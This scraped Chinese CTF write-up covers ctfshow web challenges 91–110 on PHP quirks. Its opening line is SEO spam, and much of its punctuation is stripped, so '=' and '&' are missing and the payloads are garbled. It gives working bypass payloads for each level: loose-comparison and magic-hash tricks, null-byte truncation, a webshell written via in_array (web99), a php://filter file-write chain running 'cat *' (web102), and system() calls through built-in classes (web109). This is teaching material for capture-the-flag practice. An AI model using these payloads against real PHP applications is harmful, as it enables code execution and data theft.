网站开发和前端和数据媒体,虾皮跨境电商注册,中小学校网站建设,论坛排名Web 入门 索引web91题解总结 web92题解总结 web93题解 web94题解 web95题解 web96题解 web97题解 web98题解 web99题解总结 web100题解 web101题解 web102题解 web103题解 web104题解 web105题解总结 web106题解 web107题解 web108题解 web109题解 web110题解 ctf - web入门 索… Web 入门 索引web91题解总结 web92题解总结 web93题解 web94题解 web95题解 web96题解 web97题解 web98题解 web99题解总结 web100题解 web101题解 web102题解 web103题解 web104题解 web105题解总结 web106题解 web107题解 web108题解 web109题解 web110题解 ctf - web入门 索引
web91PHP 特性之 preg_match()换行解析漏洞。web92PHP 特性之 intval() 与 的区别。web93PHP 特性之 intval()。web94PHP 特性之 intval()。web95PHP 特性之 intval()。web96PHP 特性之 highlight_file()、字符串匹配。web97PHP 特性之 md5()。web98PHP 三元运算GET 与 POST 传参。web99PHP 特性之 in_array()。web100PHP 特性之赋值运算【】优先级。web101PHP 特性之赋值运算【】优先级ReflectionClass($class) 建立反射类。web102PHP 特性之赋值运算【】优先级is_numeric() 特性call_user_func() 与 hex2bin() 利用PHP 伪协议。web103与 web102 没什么区别。web104PHP 特性之 sha1()弱等于 。web105PHP 特性之变量覆盖。web106PHP 特性之 sha1()弱等于 。web107PHP 特性之 sha1()弱等于 parse_str() 利用。web108PHP 特性之 ereg() 截断漏洞。web109PHP 特性之 __toString() 与类触发。web110FilesystemIterator 类getcwd() 利用
web91 题解
^ 和 $ 这种正则匹配只匹配一行。但是正则匹配 /m 可以执行多行匹配。 所以第一层条件是多行匹配第二层条件是单行匹配这样就可以用换行符 %0a 绕过。
题解
URl ?cmdabc%0aphp总结
正则表达式 参考文章换行解析漏洞(CVE-2017-15715)
web92 题解
这一题乍一看和 web90 很像。
但这里比较是两个等号弱匹配比较而 web90 是三个等号。
所以这题不能用除了 e 的字母绕过了。
php有个特殊的字母e可以表示科学计数法。 但是当intval()读取到e的时候就会停止。
法一
与 web90 一样使用非十进制数传递
url ?num010574法二
url ?num4476e123总结
php 中 与 的区别
两个等号是先把等号两边的变量转化成相同的类型如果转换类型后的结果是相等的就认为相等。
三个等号是先判断两边变量的数据类型如果数据类型相同再去判断两边的值如果值相等那么为真。
web93 题解
这题直接不能使用字母了。
根据 web90 的经验直接进制转换详见 web90。
解
url ?num010574web94 题解
strpos() 查找字符串首次出现的位置。字符串位置是从0开始。
相比上一题不能用进制转换。
但是 intval() 函数可以把浮点数类型变为 int 类型。
解
url ?num4476.0web95 题解
本题过滤了小数点字符限制不能使用十六进制和 e。 但是可以使用 8 进制绕过。 可以通过加号或者空格绕过限制条件。
解
url ?num010574web96 题解
字符串匹配加上当前目录 ./ 绕过。
解
url ?u./flag.phpweb97 题解
根据题目PHP md5() 函数如果传入数组返回值将是 NULL所以可以用数组绕过。
解post 传递数据。
a[]1b[]2web98 题解
题目分析
$_GET?$_GET$_POST:flag;
/*
三元运算符。
$_GET 变量是一个数组内容是 GET 方法发送的变量名称和值类似于字典。
如果 $_GET 变量不为空则 $_GET 变量和 $_POST 变量指向同一个地址即$_POST 变量内容会影响 $_GET 变量的内容。
如果 $_GET 变量为空整个三元表达式的结果为 ’flag’。
*/$_GET[flag]flag?$_GET$_COOKIE:flag;
/*
如果 flag 变量值为 ’flag’则 $_GET 变量和 $_COOKIE 变量指向同一个地址
否则返回flag。
*/$_GET[flag]flag?$_GET$_SERVER:flag;
/*
如果flag变量值为’flag’则 $_GET 变量和 $_SERVER 变量指向同一个地址
否则返回flag。
*/highlight_file($_GET[HTTP_FLAG]flag?$flag:__FILE__);
/*
如果 HTTP_FLAG 变量值为 ’flag’输出 $flag否则输出当前文件。
*/所以目标就是 get 传参 HTTP_FLAGflag。
get 传参就要执行第一个三元运算所以 post 也需要传递 HTTP_FLAGflag。
中间两个条件会返回结果 ’flag’没有影响。
解通过 get 请求与 post 请求同时传递相同参数
get 传参
url ?HTTP_FLAGflagpost 传参
HTTP_FLAGflagweb99 题解
in_array() 函数特性第三个参数没有设置的时候为弱类型比较。例如比较 1.php 时会自动转换为 1 再比较。
所以这题通过 GET 传递值来命名 PHP 文件再通过 POST 传递 webshell 写入文件。之后访问此 webshell 即可。
解
get 传参
url ?n30.phppost 传参
content?php system($_POST[1]);?访问 webshell 30.php并传递命令 总结
php 函数
array_push()向尾部插入元素。in_array()检查数组中是否存在指定值。file_put_contents()将字符串写入文件。
in_array() 函数特性第三个参数没有设置的时候为弱类型比较。
web100 题解
$v0is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){ 特性赋值【】的优先级高于逻辑运算。所以只要让 is_numeric($v1) 返回 true 即可满足 if 判断。
if(!preg_match(/\;/, $v2)){ // v2 不能含分号if(preg_match(/\;/, $v3)){ // v3 要含分号eval($v2(ctfshow)$v3); // 可利用注释} 再根据以上代码分析得出 payload
解
url ?v11v2var_dump($ctfshow)/*v3*/;web101 题解
与 web100 类似但过滤了很多字符不能使用 web100 的方法了。
由于涉及了类可以利用 ReflectionClass 建立反射类。
new ReflectionClass($class) 可以获得类的反射对象包含元数据信息。
元数据对象包含class的所有属性/方法的元数据信息。
解
url ?v11v2echo new Reflectionclassv3;除此以外 flag 部分字符经过了 ASCII 编码还少了一位字符不过爆破即可。
web102 题解
这题饶了几个圈。根据答案逆推理顺了思路。
先看题解。
将下列中括号中的代码 base64 编码注意末尾有一个空格。
[?cat *; ]编码后的数据
PD89YGNhdCAqYDsg再将 base64 编码后的数据进行 16 进制 ASCII 编码。
编码后的数据
5044383959474e686443417159447367在编码后的数据前面随便加上两个占位数字这里加 11。
115044383959474e686443417159447367同时传递以下数据
v1hex2bin
v2115044383959474e686443417159447367
v3php://filter/writeconvert.base64-decode/resource1.phpv1 以 POST 方式传输v2v3使用 GET。题解
GET 传递
url ?v2115044383959474e686443417159447367v3php://filter/writeconvert.base64-decode/resource1.phpPOST 传递
v1hex2bin之后访问 1.php 查看源码即可获取 flag。 下面分析一下
call_user_func() 用于调用方法或者变量第一个参数是被调用的函数第二个是调用的函数的参数file_put_contents() 写入内容到文件中第一个参数是文件名第二个参数是内容hex2bin() 把十六进制值的字符串转换为 ASCII 字符十六进制转二进制。
所以总的思路就是将 ?cat *; 代码传递并通过伪协议写入一个 php 文件之后访问此文件就可以执行代码读取当前目录下所有文件的内容。为什么选择以上代码写入文件参考下列资料
《ctfshow学习记录-web入门php特性99-108》 https://blog.csdn.net/m0_48780534/article/details/125445026
web103 题解
与 web102 没有太大区别沿用 web102 的解法。 正则表达式是用来检查是否存在 “php” 这个字符串的子串不区分大小写。 题解
GET 传递
url ?v2115044383959474e686443417159447367v3php://filter/writeconvert.base64-decode/resource1.phpPOST 传递
v1hex2bin之后访问 1.php 查看源码即可获取 flag。 分析见 web102。 web104 题解
sha1()计算字符串的 sha1 散列值。
这题没什么好说的简单的传递一样的值即可。 补充与 web97 类似可用数组绕过。
除此以外值的判断是使用 弱等于详见 web92所以找加密后 0e 开头的两个值也可以。
aaK1STfY - 0e76658526655756207688271159624026011393aaO8zKZF - 0e89257456677279068558073954252716165668web105 题解
这一题涉及变量覆盖。
示例
$ab;
$cd;
$b1;
$d0;
echo $a; # 输出 b
echo $c; # 输出 d
echo $$a; # 输出 1即 $$a - $b - 1
echo $$c; # 输出 0根据代码尝试使用变量覆盖让 $suces 和 $error 都等于 $flag。这样无论如何根据代码的输出都能得知 flag。
解
GET 传参
url ?sucesflagPOST 传参
errorsuces总结
变量覆盖可变变量用于通过变量的值来动态命名变量并访问其值。
以 PHP 为例$$a 是一种特殊的变量语法用来实现变量覆盖
$foo bar;
$bar Hello, World!;// 使用 $$foo 来访问 $bar 的值
// 因为 $foo 的值是 bar 所以 $$foo 实际上等同于 $bar
// 最终输出 Hello, World! 。
echo $$foo;web106 题解
比 web104 多判断了 v1 不能等于 v2。
方法一使用数组。
GET 传参
url ?v2[]2POST 传参
v1[]1方法二使用加密后 0e 开头的两个值。
aaK1STfY - 0e76658526655756207688271159624026011393
aaO8zKZF - 0e89257456677279068558073954252716165668web107 题解
parse_str(string,array)把查询字符串解析到变量中。
parse_str(a1b2,$array);
print_r($array);
# 输出Array([a]1 [b]2)所以根据代码 v1 传递内容是 v1flag?具体值根据 v3 的 md5 值定。再加上是弱等于只要 md5 加密后 0e 开头即可。
解
GET
url ?v3QNKCDZOPOST
v1flag0web108 题解
ereg()用于执行正则表达式匹配。strrev()反转字符串。ereg 函数存在 NULL 截断漏洞可以绕过正则过滤使用 %00 截断。
0x36d转十进制是877。
解
url ?ca%00778web109 题解
这道题用到魔术方法 __toString()不少 php 的内置类里都包含有这个方法如 Reflectionclass、Exception、Error、CachingIterator。
__toString()当一个对象被当作字符串对待的时候会触发这个魔术方法格式化输出这个对象所包含的数据。
所以 echo 使得 v1 类触发 __toString()v2 传递的数据被输出。 对于 v2 后面的括号只要变量后面紧跟着()就会对这个变量作为函数进行调用。 解
1、
url ?v1CachingIteratorv2system(ls)2、
url ?v1CachingIteratorv2system(cat fl36dg.txt)查看源码获取 flag。 也可以换成其他类。 web110 题解
过滤了很多字符不能再用 web109 的方法。
考察
php 内置类利用 FilesystemIterator 获取指定目录下的所有文件。getcwd() 函数获取当前工作目录返回当前工作目录。
解
url ?v1FilesystemIteratorv2getcwd可以看到 flag 文件就在当前目录直接访问获取 flag。 悔既往之失亦要防将来之非。 ——《菜根谭》明洪应明